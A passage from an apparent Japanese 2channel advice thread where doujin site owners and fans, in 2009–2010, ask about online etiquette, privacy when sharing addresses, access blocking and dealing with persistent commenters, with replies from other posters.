682 ：スペースNo.な-74：2009/12/21(月) 05:00:44

>>679
レス内容の当たり障りない部分を抜き出して、～の方、としてもいいと思う
＞どうすればいいとおもう？の方 ←こんな感じで
でも本名とは言え名前入れて来てるなら、>>680のように
名字か名前のみで返信の方がスマートだと思うよ

683 ：スペースNo.な-74：2009/12/21(月) 05:07:10

イニシャルか苗字のみかな

本名フルネームで名乗って来てた場合はそこから下の名前だけで呼ばれると
距離を縮められ過ぎに感じる人も居ると思う

変わった苗字だと他人からはハンドルネームっぽく感じることも多いし。

逆にあまりにありふれた苗字だとハンドルネームに見えにくくなるから
イニシャルの方が無難かもしれない

684 ：スペースNo.な-74：2009/12/21(月) 11:24:27

>>679
通販のお礼と感想を送るのに本名名乗ってコメしたけど
管理人さんはイニシャルでレスくれた

こっちは本名レスされても（内容の一部を引用）の方でも
●日×時の方でもレス無しでもなんでも良いと思ってたよ
普段は無記名でコメしてるからHN用意する気づかいが出来なくて申し訳なかった

685 ：680：2009/12/21(月) 22:12:48

ありがとう！
イニシャルか苗字で返信してくるよ！

686 ： ◆cW.XDYfSIApD ：2009/12/23(水) 01:24:53

すいません、相談させてください

相互サイトに遊びに行こうとしたら、403で弾かれてしまいました。相手は携帯の無料サーバーで難度トライしてもアクセスすることが出来ません
これはひょっとして嫌われたと解釈してもいいのでしょうか？
一応、ブログの方にはアクセス出来たのですが、ブログからもサイトにアクセス出来ないみたいです
メールで聞こうにも怖くて出来ませんので、ここでご意見を聞かせていただければと思いました

もし、説明に不備などがあればご指摘願います

687 ：スペースNo.な-74：2009/12/23(水) 01:45:53

>>686
アクセス制限かもしれないですし
ファイル自体が無いのかもしれないですし
込み合ってて表示できないのかもしれないです。
どのように解釈してもいいですが、
ここの住人は相互サイトの中の人ではないので
正確な答えは本人以外にはわかりません。

・時間を置いてアクセスしてみる
・携帯からアクセスしてみる
・プロバイダの違う友人に代わりにアクセスしてみてもらう
それでもダメなら本人に直接聞くしかないでしょうね。
聞かなきゃずっと弾かれたままだけど、>>686が聞くよりそっちの方がいいと
いうのであれば、そのまま放置でいいと思います。
中の人はアク禁してるのにサイト相互とかｲﾐﾌなので
リンクの整理的な意味でもはっきりさせておいた方がいいんじゃないかとは
思いますが。

688 ：スペースNo.な-74：2009/12/23(水) 01:50:55

>>686
もしかして、相手の鯖はぽけすぺ？
だったら、今メンテ中だよ。誰でも403になる。

689 ：686 ◆cW.XDYfSIApD ：2009/12/23(水) 02:12:22

>>687-688レスありがとうございます

はい、確かに相手はぽ/け/す/ぺでした。どうやら688さんの意見でFAのようです
403が悪金だとばかり思っていたので、メンテナンスの可能性は知りませんでした
ご教授いただき本当にありがとうございました

690 ：スペースNo.な-74：2009/12/23(水) 11:21:29

鯖によっては入金遅れでアカウントロックかかると403になるとこもあるよｗ

691 ： ◆ZI/X8ni6bg ：2009/12/23(水) 17:24:59

相談age失礼します。
拍手コメントを送った際、確認したらコメントが文字化けしていました。
もう一度送ってもやはり文字化け。
これはまずいと思い後日管理人さまのレスを確認すると、完全に荒らし扱い
されてしまっていました
誤解をとこうともう一度拍手に向かうと、コメント欄が外されていました…
そのサイトさまはメールもブログコメント欄もなく、私のせいでコメント欄を
外すほど嫌な気持ちをさせてしまったと思うと本当に申し訳ない気持ちです
解決手段が失われてどうすればいいのかわかりません。
もしも似た経験をお持ちの方、解決策が浮かんだ方がいましたら、ご助言を
お願いします。

692 ：スペースNo.な-74：2009/12/23(水) 17:52:14

解決策っていうか、691が米したのは2回だけでそのたった２回で
米欄を外すような管理人なわけでしょ？
691が名指しで荒らし扱いされてるんじゃなければ
ほっといてもいいんじゃないかな

693 ：スペースNo.な-74：2009/12/23(水) 17:52:37

>>691
自分は管側だけど
2度の文字化け程度で
・文字化けと気付かない、文字化けの可能性を疑わない
・荒らし扱い（と691が判るって事はレスも大概な内容なんだろうし）
ってのは、その管理人側の知識、スキルがないだけ。性格的にも沸点低すぎる、係わるの面倒な相手

不幸な出会いだったと思って忘れてそのサイトを去るのが吉。お互いにとって。
連絡手段はもう無いんだし、対策なしで691がオロオロしながらアクセスし続けてても
過敏になってる相手が「荒らしがまだ来てる…」とかイライラする可能性を増やすだけ。
ブクマからも削除して近寄らず、お互いの記憶が風化するに任せればいいと思う。

何が原因で文字化けしてるのか判らないけど、
原因判ったなら教訓にして、以降は他のサイトにコメする際に気をつける。

694 ：スペースNo.な-74：2009/12/23(水) 18:08:15

>>691
連絡手段が無いとしたら、もうどうにもならないんじゃ…
大体は>>692 >>693に同意だけど、もし>>691がそれでもその問題となってる
管理人さんにコメ送りたいなら、少し様子見て、拍手のコメント欄が復活するのを待つのみかと…

たった２度の文字化けってだけなのに荒し扱いする相手も相手。
関わらないのが一番。

695 ：スペースNo.な-74：2009/12/23(水) 18:16:25

>>691
自分も691より相手管理人に問題があると思うな。
つかガキかよって感じで自分なら見限るｗｗ
気まずいのはわかるが、ヘタに関わると相手から攻撃されるよ。
だから放っておけ。
何より連絡手段がないなら何もアクションできない。
どうしても連絡を取りたいなら、自分のサイトやブログ(あったら)で呼び掛けるとか、
連絡先を知ってそうな人に取り次ぎを頼んでみるとか。
でも前者は必ず伝わる保障が無い……というか低い確立の賭けだし、
後者はぶっちゃけ取り次ぎを頼んだ人の迷惑になるからオススメしない。
あとは……相手がｲﾍﾞﾝﾄ参加をしている人なら、当日凸してみるとか。

一応手段は書いたけど、１歩間違えると厨扱いされるのばかりだから、
ベターなのはやはり放っておくこと。

696 ：スペースNo.な-74：2009/12/23(水) 18:25:51

同人てそもそもファン活動の一種みたいな感じで見逃してた部分があるけど
昨今こうもあからさまに商売として大金をせしめられるとなぁ・・
こっちもそろそろ行動にでますよっと

697 ： ◆ZI/X8ni6bg ：2009/12/23(水) 18:30:51

>>692-695
素早い回答ありがとうございます。
ご意見を参考に、しばらく訪問を控えるようにさせて頂きます
本当に好きなサイトさまなので、ショックのあまり焦ってしまいました
取り乱したレスにも関わらず、本当にありがとうございました。

698 ：スペースNo.な-74：2009/12/23(水) 19:24:04

相談者とは別の質問になっちゃうけど
同人サイト、特に二次の場合って連絡ツール一切置かないのって
問題になったりしないの？

699 ：スペースNo.な-74：2009/12/23(水) 19:30:28

>697
あちこちで拍手が文字化けしてるて話を自分はきいた
メモ帳とかに書いてからコピペすると化けないよ
なんかの不具合じゃないかなー

700 ：スペースNo.な-74：2009/12/23(水) 19:49:54

>>698
とりあえずマナーとして、ひとつくらいは連絡ツールを置きましょうとはいわれるけど
必ず置かなきゃならないルールがあるわけでもない

701 ：スペースNo.な-74：2009/12/23(水) 19:50:13

>>698
二次ってことで版権側がどうにかしようとするなら、鯖に連絡するでしょ

702 ：スペースNo.な-74：2009/12/23(水) 20:06:07

鯖に言って消させるより前に
最初は勧告とかしたいんじゃないのかなーと思った。
ありがとう。

703 ：スペースNo.な-74：2009/12/23(水) 20:42:50

>>702
するなら鯖を通して勧告するよ
いくら社名や何かを出してても一個人じゃ信じない確率の方が高いし…無視してれば大丈夫！とか

704 ：スペースNo.な-74：2009/12/23(水) 22:40:54

会社によっては一応直接連絡先に注意→無視されたら鯖通報のとこもあるようだけどね
鯖通すとこのが多いだろうな
いくら厨メ的な連絡が多くても一切の連絡先を載せないのって無責任だなｗ
自分はいくらでも言いたい事撒き散らしますが一切連絡は受けません、ってのはｗ

705 ：スペースNo.な-74：2009/12/24(木) 01:23:09

>>702
必ず勧告があるとは限らない
勧告したいとかそんな優しい版権元ばかりじゃないよ

706 ：スペースNo.な-74：2009/12/24(木) 12:54:33

すいませんちょっと相談したいんですけどよろしいでしょうか

当方女性向け二次サイト

今年の夏ごろに、えらく自分のことを慕ってくださる方からメールが来て
それから直メする仲になったんです

二三回のやりとりですがすごく打ち解けることが出来て、今年年賀状を出したいんですが
いきなりそんなメールを送ったらあやしまれるでしょうか？
一応こちらから先に住所をお教えしようと思うんですが……

やはりこれは私が不躾すぎるんでしょうか
お知恵をお貸しください

707 ：スペースNo.な-74：2009/12/24(木) 13:34:40

2～3回のやり取りで年賀状とか…つか、もう24日だし、打診するにしても遅くね？
今年は年賀「メール」にして、
1年後も縁が続いてて仲良くなってたら「リアル年賀状送ってもいいー？」とでも訊けばいいんじゃない

708 ：スペースNo.な-74：2009/12/24(木) 13:42:37

今年は年賀「メール」が良いと思う。
>>706が絵描きなら、画像送れるメアド教えてもらって、画像データ送るってのも良い。

709 ：スペースNo.な-74：2009/12/24(木) 13:48:49

>>706
危機管理意識無い人だとは思われるかもね

706は会った事の無いメールも2、3回の相手をそこまで信用できるのかな
707が書いてるように今年はメール年賀状でいいんじゃね?
住所教えてもいいけど、本名・自宅バレによるトラブルを引き起こしても誰も助けてはあげられないよ

710 ：スペースNo.な-74：2009/12/24(木) 15:05:57

>>706
自分の認識だと夏から今までの間に２、３回しかメールやり取りしてないんじゃ
１回１回が内容濃くても「単なるネット上での知り合い」でしかない
そんな人からいきなり「年賀状送りたいんだけど住所教えて」とか言われたら引く
それに加えて、もし家族と同居だったらあんまりヲタイラスト送られたくないし
でも送りたいって言ってるのを断るのも悪いし……って悩みそう

そもそも「住所聞いたら怪しまれるかも？」と不安に感じてる時点で
相手と本当に打ち解け合ってるとは言えない気がする

711 ：スペースNo.な-74：2009/12/24(木) 19:19:09

>>706
どうしても年賀状を送りたいなら、ウェブポを利用してみたら？
メアドしか知らない人にリアル年賀状が届けられるってやつ
指定した相手のメアドに
「年賀状送りたいけどいいかな？　良かったらここのフォームから住所入力して」（超要約）
という内容のメールが届いて、入力した住所氏名あてに年賀状が発送されるっての
差出人側には受取人側の住所氏名は通知されないし
フォームに有効期限があって、それ経過したらキャンセルになる
つまり、受取側に選択権が与えられる

これ、差出人住所氏名の印字の有り無しを選べるんだけど
もしリタアドなしでするなら、相手に
「返し年賀には自分もこれを利用しなきゃなんないのか」と
ちょっとｳﾍｪな気分になられる可能性もなきにしもあらず

ちなみに一枚１２８円スポンサーつきなら４８円プレミアムは１８０円
〒の回し者でもないのに詳しいのは、自分が通知メールもらったんで調べたから
相手がサイトの日記で、リタアドなしにするって明言してたので
上のｳﾍｪはｹﾞｽﾊﾟじゃなくて実体験

年賀メールでいいじゃん、ていうのが正直なところ……

712 ：スペースNo.な-74：2009/12/24(木) 19:30:44

>>711
差出人側に知られないとか以前に、住所を入力させるようなことが
引かれる行動なのに、その薦めはどうなのか。
家族に同人活動バレたくないけど同人誌欲しいってのとは訳が違う。

713 ：スペースNo.な-74：2009/12/24(木) 19:37:42

>>711
選択の権利があるって言っても
強制的に受け取るか、COするつもりで断るか、究極の二択を迫るようなもんじゃん

714 ：スペースNo.な-74：2009/12/24(木) 19:56:21

>>706
ネット上で二～三回メールやりとりしただけの相手に住所を教える人はそう居ないだろうが
その程度しか知らん相手から「企業に住所教えるならいいよね」って
よく知らんサービス紹介されたとしたら余計に嫌だよ
ネット上で住所などの入力を極端に嫌がる人も居る
相手がどういう人かわからん以上勧めるべき方向を間違えてると思うが

715 ：スペースNo.な-74：2009/12/24(木) 19:57:17

すまんレス番間違えた
>>706→×
>>711→◎

716 ：スペースNo.な-74：2009/12/24(木) 23:57:42

>706
皆も言ってるように年賀メールが無難だと思う。というかその方がいい。
つい先日、自分も3回目のメールで「ジャンルに関する資料あげるので住所教えて」
と言われて引いた。何とか断ったけど、すごく憂鬱になった。
相手はすごく「親しくなった」と思ってるようだったけど、そういうのは数回の
メールやりとりではムリだよ。
>711も難しいと思う。

717 ：スペースNo.な-74：2009/12/25(金) 01:21:35

昔の感覚なのかもね
昔はメールとか普及してなかった時代は
住所を情報誌に載せたりするのも当たり前だったしさ
（大手アニメ誌とかだと編集部が仲介することはあったが）
今のご時勢は住所晒すのもかなり大変なんだよ

718 ：スペースNo.な-74：2009/12/25(金) 02:22:38

サイト持ってるなら
「年賀状交換しよう！(お知り合いのみ)」
みたいな企画をしてみては？
相手も交換したいって思ってるなら応募してくるでしょ
必然的にその人以外の人とも交換しなくちゃならなくなるけどｗ

719 ：スペースNo.な-74：2009/12/25(金) 02:59:54

年賀状ってのもオフにこだわらなくていいんじゃない？
どっかにうｐしてURLを送るとかじゃだめ？
相手の住所知りたいだけとかなら論外だけどｗ

720 ：スペースNo.な-74：2009/12/25(金) 07:05:51

>717
何か納得した。どうりで数回のメールで「住所教えて」の人が40代に多い訳だ。
>706
最低、オフ活動して顔を何度も会わせてるとかじゃないと個人情報を教える事は
無理だし「教えて」は距離なしと取られかねないよ。

721 ：706：2009/12/25(金) 08:39:13

反応ありがとうございます。>>706です

年賀メールという手がありましたか…！
すいません、そうさせて頂きます
もうすこし彼女と仲良くなれたら>>711のウェブポなるものを利用しようと思います
むちゃくちゃ助かりました。思い切って相談してみて良かったです

722 ：スペースNo.な-74：2009/12/25(金) 19:06:55

いい関係を築いていけるといいな

723 ：スペースNo.な-74：2009/12/26(土) 19:22:21

相談です
さくらサーバーで二次創作サイトを運営してます。
学校やグーグル等からのアクセスを弾いているんですが、ある大学からの
アクセスだけが防げなくて困っています。
やり方を間違えているのかとも思ったのですが、他の大学からのアクセスはちゃんと
防げていますし、念のためリンク元でも設定してみましたが弾けませんでした
（現在ホスト、リンク元で設定しています）
ジャバスクリプトを切っているとかではないようです。
何とかアク禁する方法はないでしょうか？

724 ：スペースNo.な-74：2009/12/26(土) 19:52:55

>>723
間違いなく、htaccessのやり方を何か間違えているだけ

725 ：723：2009/12/26(土) 20:37:25

>>724
レスありがとうございます。
公式サイトの説明読み直してきます

726 ：スペースNo.な-74：2010/01/03(日) 15:39:33

相談をさせてください。
無料のお絵描き掲示板にスパムらしい記事が掲載された場合、
本人に知らせる事無く、運営側がその記事を消してくれる事はあるのでしょうか？

週１ペースで訪問しているサイトが、お絵描き掲示板を日記代わりに使用しています。
そこにスパムとおぼしき記事が載っていて、その事をサイトの管理人に知らせました。
（連絡手段が拍手しかなく、拍手で知らせました）

年が明けて、そのサイトを覗いてみたところ、記事は消えていましたが、
拍手のコメント返しの内容が、
「どこが荒らされているのかわからないので、詳しく教えてほしい」
と書いてあって、どうも管理人さんの知らないうちに消えていた様です。

管理人さんのお願い通り、詳細をお伝えするべきでしょうか。
新年早々、不快なスパムについて説明するのも気が引けますし、
管理人さん側からその確認が取れない以上、
私が悪戯で嘘の報告をしているのでは、と疑われないか不安です。

727 ：スペースNo.な-74：2010/01/03(日) 17:09:06

>>726
運営が手を出すところもあるし出さないところもあるけど
誰かが報告しない限りはまず手を出さない
それに年末年始は無料サービスのサポートは大抵休み

拍手で報告した内容が『掲示板が荒らされている』なら
管理人がスパムを自分で削除したけど「荒らし」と思っていない可能性がある
「管理人やジャンルに対する悪意ある書き込み＝荒らしであってスパムは荒らしではない」という感じで

気になるなら「掲示板にスパムらしき書き込みがあったから報告した」と簡単に伝えるだけでいいと思うよ

728 ：スペースNo.な-74：2010/01/03(日) 17:41:28

>>726
727の言うように、スパムを荒らしだと思わずに消した可能性が高いと思う
気がひける＆不安という気持ちも分かるけど、今のままで何も言わないでおくと
それこそ質の悪いイタズラ・荒らしだと思われてしまう気がするので
報告はしたほうがいいと思うよ

729 ：スペースNo.な-74：2010/01/03(日) 18:00:44

>726はスパムについての報告を米でしたんでしょ？
荒しについて報告したのは>726以外の別人なんじゃないか？

730 ：スペースNo.な-74：2010/01/03(日) 20:07:33

>>726がどのような文面で報告したかによるんじゃない
はっきり「荒らし」「荒らされている」って言葉を入れてないのなら
>>729の言うようにスパム報告と荒らし報告は別物の可能性が高い
いちいち説明する為にまた連絡する必要はあまりないと思う

731 ：スペースNo.な-74：2010/01/03(日) 20:51:18

詳しく教えてくれって言われてるなら何かしらの返事はした方が良いんじゃね？

>>726
「先日の報告はスパムのことです。管理人さんに心当たりが無ければ運営が消したのかも」
を、丁寧にして伝えれば良いと思うが。

732 ：726：2010/01/03(日) 22:26:33

>>727-731
726です。アドバイス有り難うございます。
727のご指摘通り、「掲示板が荒らされている」と報告していました。
スパムも荒らしも同じものだと、ずっと思っていましたが、
皆さんのアドバイスを読んで、荒らしとスパムは異なるものだと、ようやく知りました。
知識不足で申し訳ありません。
これから、
「荒らされていると書きましたが、スパムらしき記事が載っていたのでご報告しました」
と伝えてきます。
大変お世話になりました。本当に本当に有り難うございます。

733 ：スペースNo.な-74：2010/01/04(月) 18:14:56

誘導で来ました、以下コピペですがご教授よろしくお願いします

ある同人ゲーム（男向け二次エロ）を出してからＨＰにやたらコメントやメールをくれる人が居るんですが、
そのコメントが個人的に非常に気持ち悪いんです
次回作はこういうのが良いんじゃないですか？といった内容で物腰は低い文面なんですが、
一度メールで返事をしたら、さらにその返事で、
「私個人の希望とは重々承知しておりますが」的なことと言いつつも、
明らかに次回作の方向性を強制しようとする内容（一応低姿勢だけど）が返ってきました
その後、メールは無視しているんですが、
コメントやweb拍手が時折来ます

もう止めてくれと言ってモンスター化されても怖いし、無視するだけでいいんでしょうか？
こういった困った人に憑かれた経験のある方ご教授願います
今現在、２web拍手着ており、それにＨＰで返事をするか迷っている最中です

734 ：スペースNo.な-74：2010/01/04(月) 18:20:12

一日に何度も※してくるようならともかく
時折なら無視してれば来なくなるよ
それでも忘れた頃に※してくるかもしれないけど
それも無視しておけばいい
>「私個人の希望とは重々承知しておりますが」
こういうこと言ってくるなら無視してると「自分と好みが
違うんだな」とあっさりしてるタイプが多いよ

735 ：スペースNo.な-74：2010/01/04(月) 18:28:10

>>734
レスありがとうございます
確かにまだ数ヶ月程度ですので、そのうち忘れてくれれば良いんですが
メールならともかく拍手だと誰だか明確にはわからないので…
うっかり他のものと一緒に返事しかねない
その「重々承知」のメールを無視した後も、
コメ＆拍手が来てるので、懲りる雰囲気は今のところ無さそうという状況です

736 ：スペースNo.な-74：2010/01/04(月) 18:43:05

>その「重々承知」のメールを無視した後も、
>コメ＆拍手が来てるので、懲りる雰囲気は今のところ無さそうという状況です

でも時折なんでしょ？
参考までにはっきりした数字で出してもらえないかな

737 ：スペースNo.な-74：2010/01/04(月) 18:46:55

要するにあわよくば、俺プランナー+シナリオライターに昇格！
自動ゲーム生産機ゲットだぜ！っていう典型的な人だよ
今のままなら無視すればいないのと同じ人なんだし、特徴的な単語とかで指定して
拍手を振り分けて見ないようにしても良い
様子がおかしくなったら、そうなったときに考えれば良いと思うよ
拍手に変な罵倒や、もっと直接的な馴れ馴れしい要求が混ざってきたとかの時に

今やるとしたら「参考にさせていただきます」とか変に耳障りの良い返事はしないこと
完全に無視するのが今は一番

738 ：スペースNo.な-74：2010/01/04(月) 18:58:02

>>733
現状はスルーで大丈夫そうな気がするけど、
しつこかったり態度がでかくなってくるようだったら
「次回作の構想はもう完全に固まってますので」とでも返事したらどうだろう
予防線として日記にとかに書いておくのでもいいかもしれない

「ご意見ありがとうございます」みたいな返事は
相手によっては「意見取り入れてもらえる」って思い込みで付け込んでくるから気をつけて

739 ：スペースNo.な-74：2010/01/04(月) 20:13:38

>>733
男性向けを出すのは初めてか、というのがちょっと気になった。
はっきり言って、男性向けやってるとそのぐらいの厨が来るのは当たり前。
今の状況ならみんなが言ってるようにスルー徹底でいいけど、
もしこの先何か返事する機会があったら、「その案は自分の指向に合わない、
自分は作りたいものを作る」と答えてしまっていい。

たぶんそいつは、過去にあちこちで同じことをやっていて、
次の萌え製造機を探しているだけ。明確に断られれば
あっさり去るだろうし、このままでも数ヶ月放置しておけば
やはりあきらめると思う。

たぶんそいつは、萌えツボがすごくピンポイントで、それを提供してくれる
作家を捜すのに苦労してるんだと思う。と、同じ男として同情してみる。
同情したからって、こっちが萌え製造機になってやる必要はもちろんないけど。

740 ：スペースNo.な-74：2010/01/04(月) 21:22:58

>>737
やっぱりスルーが一番ですか
一番厄介なのが拍手は雰囲気でしかわからないってところですが、
できるだけ踏まないようにします

>>738
確かに一度したメールではそういう風に書いてしまったんですよ
それが一番マズかったかもしれません
万が一またメール来たらそのように返してみたいと思います

>>739
初めてじゃないですよ？
そう書いたつもりはなかったんですが、すみません
ただ、扱った二次は萌え流行ジャンルというより珍しい方面のものなので、
その人にとっては、ついに来た！的なテンションがあるみたいで
あちこちで云々ってことは無さそうです

相談に答えてくれてありがとうございました
しばらくはスルーしてみることにします

741 ：スペースNo.な-74：2010/01/04(月) 22:16:07

全レスうぜぇ

742 ：スペースNo.な-74：2010/01/04(月) 23:41:49

自治うぜぇ
おまえ唯一返レスされなかった736じゃね？ｗｗ

743 ：スペースNo.な-74：2010/01/04(月) 23:52:05

>>742
半年ROMるか、どこかで２での全レスについて聞いて来いｗ
まぁ「うぜぇ」は多少言葉がきついかも知れんが
場合によっては氏ねとか言われるところだし

744 ：スペースNo.な-74：2010/01/05(火) 00:22:49

２で全レスは嫌われるからやめとけ、くらいにしておけば
角も立たないのに何でわざわざそんな言い方を選ぶんだか

745 ：スペースNo.な-74：2010/01/05(火) 00:27:50

何でだろうねえ
半年ロムると分かるんじゃないかなあ

746 ：スペースNo.な-74：2010/01/05(火) 00:28:34

相談所なのに相談者に絡むとか

747 ：スペースNo.な-74：2010/01/05(火) 00:29:26

お疲れの所申し訳ないけど
「だから録音されたんだな」
としか思えなくなって来た

748 ：スペースNo.な-74：2010/01/05(火) 01:00:37

うざ

749 ：スペースNo.な-74：2010/01/05(火) 01:10:27

類が友を呼んじゃったんだね
で同属嫌悪してるのか

750 ：スペースNo.な-74：2010/01/05(火) 01:16:44

何でもいいから叩きたいんだよ！叩かせろ！

751 ：スペースNo.な-74：2010/01/05(火) 01:17:24

IDもない板でよく言い争えるもんだ

752 ：スペースNo.な-74：2010/01/05(火) 03:40:27

>>740
自分も>>739がどこを読んだのか気になった

753 ：スペースNo.な-74：2010/01/05(火) 06:59:50

>>752
単に733の対応が初心者じみてるからそう感じられたってだけでしょ

754 ：スペースNo.な-74：2010/01/05(火) 14:10:17

誰しもはじめは初心者なのにね

755 ：スペースNo.な-74：2010/01/05(火) 14:11:52

だからなにｗ>754

756 ：スペースNo.な-74：2010/01/05(火) 20:45:08

初心者がたたかれるのは通過儀礼ってことだろ

757 ：スペースNo.な-74：2010/01/05(火) 21:12:16

正月終わって早々仲いいなあｗ

758 ：スペースNo.な-74：2010/01/05(火) 21:40:18

まあね

759 ：スペースNo.な-74：2010/01/06(水) 13:36:30

>>753
つまりゲスパーか

760 ：スペースNo.な-74：2010/01/06(水) 16:24:46

>>759
もうわかったからクソして寝とけ

761 ：スペースNo.な-74：2010/01/06(水) 19:05:00

同人板に戻れるみたいだよ
このスレは戻った方がいいと思う

762 ：スペースNo.な-74：2010/01/06(水) 19:43:39

鳥付けも曖昧なままだし
あと200ちょっとで1000行くから戻った方が良いだろうね

763 ：スペースNo.な-74：2010/01/06(水) 23:43:25

鳥はちょっと前に「騙り防止に付けたい人は付ける、なくてもおk」で
一応の結論が出たっぽい
強制にした場合の方が問題のタネが多かったからね

まあ同人板に戻れるならこれも解決で万々歳だな

764 ：スペースNo.な-74：2010/01/10(日) 14:10:32

その後参加したイベントで偶然知り合ったAさんから
●を定価で譲っても良いといってくださった方Bさんを紹介していただいた。
詳しいことは後日メールにてご連絡をというお話を頂きました。

イベント後日に諸事情でネット落ちしていたのですが、
その間に拍手で共同購入希望を申し出てくれた方数人が現れたのに
Aさん、Bさんにイベントでのお礼+新刊感想メールを送った後に気付きました。

●を共同購入できるか微妙な人数。
自分が言いだしっぺである事と、
●を欲しいけど買えないという方の日記をチラホラ目にした事もあり、
Bさんからの●も買取、共同購入者がもしもそろったらそちらも購入する覚悟で
人数が微妙である事と、もしも人数がそろえば購入できる事、
募集は継続中である事を日記のレスで返してしまった。

Bさんへメールを送ってまだ4、5日ですがBさんからの返事がかえってきません。

サイト上では●を譲ってもらえるかもしれない話は載せてないので、
折角●を譲る話をしたのに、なぜまだ募集してるのだろうと
サイトのレスを見て気分を害されたのではないか不安です。

わざわざ譲っていただく話をしていただいたのに
募集継続中にしてしまった自分も悪いのですが
もしこのままBさんからのお返事がいただけなかった場合
謝罪のメールを送るべきでしょうか？

また、Bさんは、うっかり紹介された時に直接名前を名乗りあわず、
「詳しい話は後で」だったのが、後日メールでという話になり、
AさんからBさんのお名前を教えていただいた形になってしまった事もあり
まさか人を勘違いしてメールを送ってしまったんじゃ…と、ガクブルしています…

よろしくお願いいたします。

765 ：764：2010/01/10(日) 14:13:05

すいません、上の部分が切れてしまいました。
相談おねがいいたします。

以前サイトの日記にとある品物●の共同購入希望者募集の記事を載せました。
この時点で共同購入希望者はナシ
その後参加したイベントで偶然知り合ったAさんから
●を定価で譲っても良いといってくださった方Bさんを紹介していただいた。
詳しいことは後日メールにてご連絡をというお話を頂きました。

イベント後日に諸事情でネット落ちしていたのですが、
その間に拍手で共同購入希望を申し出てくれた方数人が現れたのに
Aさん、Bさんにイベントでのお礼+新刊感想メールを送った後に気付きました。

●を共同購入できるか微妙な人数。
自分が言いだしっぺである事と、
●を欲しいけど買えないという方の日記をチラホラ目にした事もあり、
Bさんからの●も買取、共同購入者がもしもそろったらそちらも購入する覚悟で
人数が微妙である事と、もしも人数がそろえば購入できる事、
募集は継続中である事を日記のレスで返してしまった。

Bさんへメールを送ってまだ4、5日ですがBさんからの返事がかえってきません。

サイト上では●を譲ってもらえるかもしれない話は載せてないので、
折角●を譲る話をしたのに、なぜまだ募集してるのだろうと
サイトのレスを見て気分を害されたのではないか不安です。

わざわざ譲っていただく話をしていただいたのに
募集継続中にしてしまった自分も悪いのですが
もしこのままBさんからのお返事がいただけなかった場合
謝罪のメールを送るべきでしょうか？

よろしくお願いいたします。

766 ：スペースNo.な-74：2010/01/10(日) 14:39:22

>>764
まず落ち着け。
そして、Bさんにちゃんとメールが届いているか確認を。
アドレスを写す時に間違えていないか、聞いたアドレスが間違っていないか、
送ったアドレス同士にトラブルが起きやすいとかの話が無いか確認。
そしてメールの文章に不備が無いか、Bさんが忙しい時期じゃないか。

その上で共同購入の件についての説明もメールすると無難かもしれない。
「お話をもらう前に共同購入を考えていたが、希望者が集まらなかったので
　Bさんの好意に甘えることにした。
　が、その後事情でネット落ちしていた間に希望者が増えた。
　そちらの方々の気持ちを思うと話を無かったことにするのは心苦しく
　Bさんさえ構わなければ両方購入させて頂きたいと思っている」
って感じだろうか。
とにかくBさんに連絡がつかない事にはどうにも進まないと思う。

767 ：764：2010/01/10(日) 16:24:09

>>766

ありがとうございます。
Bさんが気分を害されたのではという思いや
もしかして、名前を聞き間違えて、
全く関係ないのにメールを送ってしまったのでは
という不安にもんもんとしてしまって、冷静さを欠いていました。

アドバイスどおり、おちついて
後数日たってもご連絡なければ、
Bさんにこちらからご連絡を取ってみます。

768 ： ◆HGIS0eAXD6 ：2010/01/10(日) 16:25:21

質問です

ジャンル自体が18禁なので、サイトも別にエロ多いわけではないですが18禁にしました。
自分は馬券とかと照らし合わせて考えて（成人でも学生は不可、とか）
18歳でも高校生は禁止と考えています。
明らかに学校のアドレスから（私立の中高のようです）からアクセスがあり
トップに「18歳でも高校生は不可です」と明記したのですが
別の人？から「社会人ならいいんでしょうか、学生というだけで禁止するのはよくない」と連絡がありました。

現在はその学校からのアクセスは弾いてあります。
「18歳でも高校生は不可」と言うのは差別にあたりますか。
「高校生ですがようやく18歳になったのでサイト作ります＾＾」みたいな人もジャンルにいるので
うちのジャンルやサーチでは特にその点の規約はないと思います。

769 ：スペースNo.な-74：2010/01/10(日) 16:42:40

>>768
差別には当たらない。
というか、あなたのHPのルールブックはあなた。
あなたがダメといえばダメになる。
文句をいう人は見てもらわなくていい、くらいの
心構えがないと18禁サイトの管理は難しいよ。
万が一晒されても、何らおかしいところが無ければ
私怨乙で終わるから安心しなされ。

770 ：スペースNo.な-74：2010/01/10(日) 16:52:32

>>768
差別じゃない、というかジャンル自体が18禁なんだからあなたの対応が正しい
「学生というだけで禁止するのはよくない」と言う人には、「都道府県条例に
照らし合わせて判断しています」とでも返してやってもいいけど、スルーでいいよ
しつこかったら、「DVDのレンタルと同様の判断です」或いはアク禁でいい

「高校生でも、18歳ならオッケーでーす」なんてやってたら、青少年保護条例に
引っかかるんだから自衛に越したことはない
面倒臭かったら、「19歳以上の方のみ閲覧可」に変えてはどうだろう
自分も18禁サイトやってた時、「高校生は駄目」と書いてたら、「22歳で
定時制高校生なんですが、駄目ですか」と問い合わせされた

771 ：スペースNo.な-74：2010/01/10(日) 20:42:38

>｢22歳で定時制高校生なんですが､駄目ですか｣と問い合わせされた
乙なんだがワロタｗ
優しく「大丈夫ですよ」と返してあげたくなるｗ

772 ：スペースNo.な-74：2010/01/10(日) 21:13:25

創作サイト持ちなんですが
全く思いもよらない既存作（商業作品）と似てるという米を貰って対応に少々悩んでいます
あるキャラの見た目と性格が似てるというものだったのですが
こちらからすると何言ってんのコイツ似てねぇよ●●（商業作）ディスんなというレベル
見た目は絵柄が全然違うし
年齢とロングヘアーという共通点があっても色も雰囲気も違い
自キャラの性格は下品で超絶外道な子に対し
商業作はちょっとガサツで素直になれない年頃の子です

見当違いもいいところで●●に申し訳なくなって
主に●●ディスんなという気持ちでレス文が長くなってしまいそうです
こういう手合いはさらっと流したほうがいいのでしょうか？

773 ：772 ◆5.J..rdUpo ：2010/01/10(日) 21:14:20

>>772です
鳥付け忘れました、すみません

774 ：スペースNo.な-74：2010/01/10(日) 21:26:59

>772
レス読んでるととてもサラッと流せそうに見えないので
スルーしていいと思う

775 ：スペースNo.な-74：2010/01/10(日) 21:30:52

>>772
スルーしてd(゜v´)☆ミをオススメしておく
そんなに無関係なものを同一に見て見当違いの文句を喚くヤツなんて相手にしない方がいい

776 ：スペースNo.な-74：2010/01/10(日) 21:31:32

>>772
サラッと流すが吉。
下手に●●への愛が見え隠れすると
「好きだからパクったんでしょ！」とか
更に粘着が激しくなる可能性がある。
とにかく事務的に。

>>771
いや、そこは
「ご自身で判断できない内はご遠慮ください」
じゃないかなー。

777 ：スペースNo.な-74：2010/01/10(日) 21:34:26

>>772
